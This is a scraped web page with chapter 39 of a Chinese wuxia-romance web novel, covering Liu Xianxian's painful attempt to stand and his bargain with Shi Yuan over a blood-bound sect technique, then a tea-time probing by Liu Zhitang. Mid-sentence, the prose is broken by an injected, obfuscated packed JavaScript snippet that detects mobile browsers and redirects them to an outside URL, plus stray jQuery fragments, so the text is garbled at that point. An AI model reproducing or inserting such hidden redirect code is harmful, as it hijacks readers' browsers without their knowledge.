默认冷灰
24号文字
方正启体

39. 为我血鼎

作者:娆章本书字数:K更新时间:
    清晨间,起床、洗漱、用膳、服药。


    一切如常,唯独没有多余语言。


    采蘩捧上新鲜温柑,没有立即退出去,只侍立在梳妆台边,小心地望了时鸳一眼。


    时鸳看了她一眼,问道:


    “有事?”


    采蘩点头半蹲于地,靠上她耳边低声密语。


    她闻言含笑,伸手从抽屉中抓了几吊钱给她道:


    “请你和门房小厮吃些果子。”


    采蘩双手捧着接了钱,小心翼翼问道:


    “那娘子,要告诉梁嬷嬷么?”


    时鸳对着镜子,换好耳环,笑道:


    “这件若不说,你岂不又落了责罚,先去吧。”


    采蘩放心点头,后退着几步,向桌边轮椅上的柳羡仙行礼,这才小心地退了出去。


    柳羡仙见状,转头继续饮完手中汤药,扫向手边一同送来的册札,道:


    “看来,鸳儿已经准备好应对何氏。”


    时鸳走到桌边坐下,知道那本册札上写的,是何氏动身前来,不日即到长安。


    端起自己那碗漆黑汤药,道:


    “方才采蘩说,杨歆妃与温相善私递信件,被杨氏发现。她若不来寻你,还是阿羡你直接出面得好。”


    他轻应了一声,放下汤碗,擦过手后,挑了一个温柑,边剥边道:


    “雪下了这几日都未停,今年冬季怕是会有灾。我让客京华以你与竺澄的名义,开始向药农施赠五味粥,你别忘了。”


    她亦是饮完汤药,口中苦味难散,面前是他递上的半个温柑。


    眼神从他指尖落向他深不见底的眼中,伸手接过晶莹橘肉,掰下一半塞进嘴里,酸甜回味之间,已思索出他施粥的目的。


    要带上竺澄,赈济的对象,可不是所有人。


    “要对顾正亭下手了?”


    指腹轻触过她微凉的指节,眸色半沉,收回手,将剩下半个温柑橘肉举至唇侧,连同她之间香气,轻咬入口。


    又被道破最终目标,柳羡仙稍是低头,复迎上她自信的眼神,自负道:


    “既然鸳儿对顾正亭如此头疼,那我就借冬日雪,釜底抽薪,以绝后患。”


    时鸳继续慢嚼着手中温柑,挑眉点头,顾正亭是柳汇川接洽韩寂阳的中间人,毁掉他如同毁掉韩寂阳般复仇的兴奋与快意。


    丝毫不怀疑他的能力,只笑道:


    “今年这样冷,我等着看,阿羡这把火,能烧得多旺?”


    尺蓝进门回禀道:


    “少堂主,夫人,竺神医已到纬星山房。二夫人也已命人将扶架,送至山房中。”


    “哑叔。”


    他轻唤道,正自转身,却听到她说:


    “我去准备些茶点水果,随后就来。”


    主卧门一开,屋外北风呼啸,不知吹动了谁的心弦。


    纬星山房中,竺澄围着那一副精细的柏木扶架,满意得连连点头。


    听到声响,他回头打量柳羡仙进门后的神情,还在为打赌之事有所顾虑,半笑道:


    “西洲,心情不错啊。”


    柳羡仙扫了他一眼,知道竺澄担心的是那个赌约,只按下不表,反问道:


    “应该不好么?”


    竺澄见他翻过此事,放心道:


    “今日,你试着站起来就行,慢慢来。”


    柳羡仙被哑叔与药童从轮椅上搬起,慢慢架到扶架上,将双臂间的重量,缓缓放到双腿上的一瞬间,脚底传来钻心的刺痛,经过双腿经络直达脑海。


    他咬着牙,不肯喊疼,脸上起了涔涔汗珠,更是憋得白一阵红一阵。


    竺澄怕他忍受不住,皱眉劝道:


    “督脉和足阳明胃经淤塞已久,你若是太疼,就歇会儿。”


    瞪了竺澄一眼,没有停下来的意思,他控制着重心挪回双臂。


    “我只担心不够快!不是只有一个月么?”


    他心中闪过的却不是一月后的婚礼,而是林南风携妻前来的画面,连同时鸳的那句“非敌非友”,堪比剧毒刺痛,驱使他将重心压回双腿之上。


    听他如此着急,竺澄叹道:


    “若能以内力打通经脉,不仅能快些,你还能少吃些苦。”


    架在扶架上片刻,柳羡仙又慢慢将重心匀到双腿上,忍痛道:


    “与痴人说梦何异?除非是有内力高深的高手,我上哪儿找愿意出手之人?就算是精纯内功,也得修习上几年,才能练到此境界。”


    “其实,问下鸳鸯,也不是不行。”


    “什么行不行?”


    时鸳带着寸红,端着茶点水果从外进来,看到柳羡仙疼得青筋暴起的脸,握紧了暖手炉。


    她坐到榻上,待寸红奉完茶,抬手示意她出去。


    竺澄见她心情甚好,想是也不再计较那赌约,笑道:


    “柳少堂主若能打通经脉,可加快恢复,更可少吃些苦头。”


    时鸳凝眉而思,知道竺澄的意思,望于地面砖痕,掩盖着眼中怜悯之色。


    良久,她才抬眼望向柳羡仙,他脸上疼得红一阵白一阵,笑道:


    “让他练我门下内功,也不是不行,只是凡事,皆有代价!”


    柳羡仙扶在架上,喘着粗气,咬牙冷声道:


    “我的确想看看,蝶舞门的绝密心法是什么价钱。”


    竺澄与时鸳对视一眼,知道他会错意,各自含笑,这件事上,她从未想过要直接的回报。


    鸳翘起二郎腿,倚在榻间小几上,与他熟练地讨价还价。


    “我门下心法修习之快,天下无出其右者。我恢复两三成修为就能险胜秋长天,这两三成少说也有二三十年,价钱可不低。剑君萧遥,想一窥秘笈,答应我师父将‘剑仙’之名,于众人前亲赠于我。阿羡,打算给我什么?”


    不及柳羡仙惊讶这交易,竺澄闻言低头一笑,想起她在寿宴上故意挑逗的模样,好事道:


    “蓬莱谪落仙,下凡以身相许,这价钱还不够?”


    “竺澄之——”


    柳羡仙双臂撑在扶架上,最大限度地减轻双脚上的剧痛,咬牙制止,却见时鸳低头掩笑出声,随后一双山狸般狡黠灵动的眼睛,似在看爪下猎物般,在自己身上扫视而过。


    他冷笑一声,自傲淡漠道:


    “给鸳儿昨日清晨要的,够么?”


    她知道,是她率先提及的二人骨血相融的继承人。


    轻哼一声,时鸳走到扶架前,轻倚在一边,含笑道出实话:


    “最大的代价是若然受了内伤,需吸食此心法修习者之鲜血,方可治愈。要阿羡受此禁制,可甘心?”


    对视之间,那一刹那脑海一片空白,江湖上谣传,一入蝶舞,前缘尽弃的原因便是,蝶舞门人迟早会成为吸食人血的妖鬼,不想真相尽在于此。


    皱眉疑惑间,柳羡仙沉眸一思,从一句话中,找到最好奇的角度,问道:


    “那你以前,是用谁的血,韩寂阳?”


    果然不能告诉他太多,她轻叹一声,点头淡道:


    “他是我的血鼎,若非如此,他也当不了明使。”


    手指挑起他散在脸颊边的碎发,疼到无法拒绝自己的英俊脸庞,没有那晚的凶狠,别有一番味道。


    “我不要别的,只要阿羡做我的血鼎……”


    “那我的血鼎,便是你。”


    抬眼间,柳羡仙没有多余力气避开她挑衅的动作,自信地打断她,知道误解方才“代价”之意,但谈到“血鼎”,他也必然要一个独一无二,他人未曾拥有过的。


    手上动作一停,时鸳眼中闪过一丝错愕,眉眼轻弯,莞尔一笑,不意外他的要求,果然还是没那么听话。


    “还没给你,就敢这么要求。那阿羡可想过,若受重伤,你的命可就在我手里了?”


    既然如此,那就永远不要落到那番境地,眼下没有比快速站立、行走更重要之事。


    他唇侧一掀,回敬道:


    “成交。”


    *


    午后,时鸳拢着披肩,坐在小客厅的罗汉榻上,面前是柳羡仙特意命


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928165|192614||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    客京华楼准备下精致点心,采蘩在侧整理着点茶的十二先生。


    不过半盏茶时间,柳知棠已是风风火火地来了。


    她接了帖子,以为柳羡仙有闲情逸致,找自己吃点心,进得门来,才看到唯有时鸳在此。瞥了两眼她身上青毫带白的顶级银鼠皮,按下心中疑惑,笑道:


    “时娘子,进来可好些了?”


    时鸳起身迎她,却被她按回了榻上。


    “好多了。谢三姑娘挂怀。”


    柳知棠往她对面一坐,望着面前的金屑□□酪与云母百果膏,俱是她爱吃之物,笑道:


    “咱们不拘泥于这个。柳羡仙呢?”


    时鸳笑着示意采蘩点茶,轻扫一眼面前柳知棠,回答她的问题。


    “他在书房与竺神医商谈要事,暂不得抽身。若你要见他,我差人问问,他何时能来。”


    “不必,与时娘子畅谈才有意思,我才不想对着他那张冷不丁吃人的脸。”


    柳知棠尝着手里的君迁子,自己端详这未来嫂子,她素日里的打扮何止素雅,简直清淡,不过细看之下身上件件,都值得细细品鉴推敲。


    眼珠一转,舔着脸上前笑着,挑拨离间道:


    “嫂子,那日寿宴,你可没看见,柳羡仙看剑仙的眼睛都直了。”


    时鸳低眼看向面前的雪腴榛酥,掩过得意与冷笑,不在意道:


    “是么?剑仙难得露面,自然要多看两眼。”


    柳知棠立刻问道:


    “嫂子,是江湖中人,连这等事也清楚?”


    银筷子在雪腴榛酥上一停,还真是不能多露了一句,她抬眼笑道:


    “是阿羡说的,那几日得了剑仙要来的准信,他本就兴奋,与我闲聊了几句。你兄妹二人都对剑仙好奇得很,引得我也想看一看,究竟是何人物,上天入地不成?”


    轻然将问题抛回去,才夹起一块榛子酥,放到面前白瓷碟中。


    柳知棠之前已领教过她不输于堂兄的玲珑口齿,既然不想说,直接问是决计问不出来的,那只能先送她一些“诚意”。


    她接过采蘩送上的一盏茶汤,低眉笑道:


    “嫂子,你可知道袁语慧?柳羡仙可以与你说任何事,却不会与你说她。”


    心底万般好奇,但时鸳仍按下了追问的冲动,只淡然道:


    “他不想说,我也不想问。”


    见她不为所动地品尝着榛酥,柳知棠也低眼欣赏完美咬盏的云脚,继续款款笑道:


    “当年,他再不喜欢袁氏,也考虑着垂荫堂未来,在大伯的安排下,应下这门婚事。所以,若未得病,他还是一个很优秀的继承人。柳羡仙与你聊江湖事,自与你说过他武林争锋的打算。”


    浅饮一口茶汤,抬起眼睑,看向不动声色的时鸳,问道:


    “你若只以色侍人,他不会大张旗鼓地——要娶你。所以,你到底是何身份?”


    眼眸一沉,这是整件事中最大破绽,若不给她一个解释,她未必会真心站到柳羡仙这边。


    她半是玩笑道:


    “阿羡会在合适的时间,给你一个解释。你不必反复试探。”


    她的直接让自己意外,撇开温柔待人后,是运筹帷幄的自信,这神态与柳羡仙一模一样,这时鸳简直是柳羡仙的翻版,此刻若说她只是个姬妾,柳知棠也绝不肯信。


    “你俩真是奇怪,若说不好,偏偏心有灵犀,这言辞语气都一模一样,他什么好东西都舍得给你;若说好,男子从你房中出来,他没大发脾气,你更不恼袁氏、剑仙,甚至采蘩都能收在苑中用着。”


    时鸳坦然点头,却不做任何辩驳。


    柳知棠的近身女使雅叶进来道:


    “姑娘,夫人遣人来说,两日后,何夫人在万寿八仙宫设了家醮,还请了彩戏班和汴京来的厨子呢。特意说家中有名分的都去玩玩,连老爷房中几个姨娘都叫上了。”


    却是漏下眼前之人。


    听完,柳知棠饱含深意地望向时鸳,见她挑眉一笑后,眼中俱是淡然,未有任何不悦。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)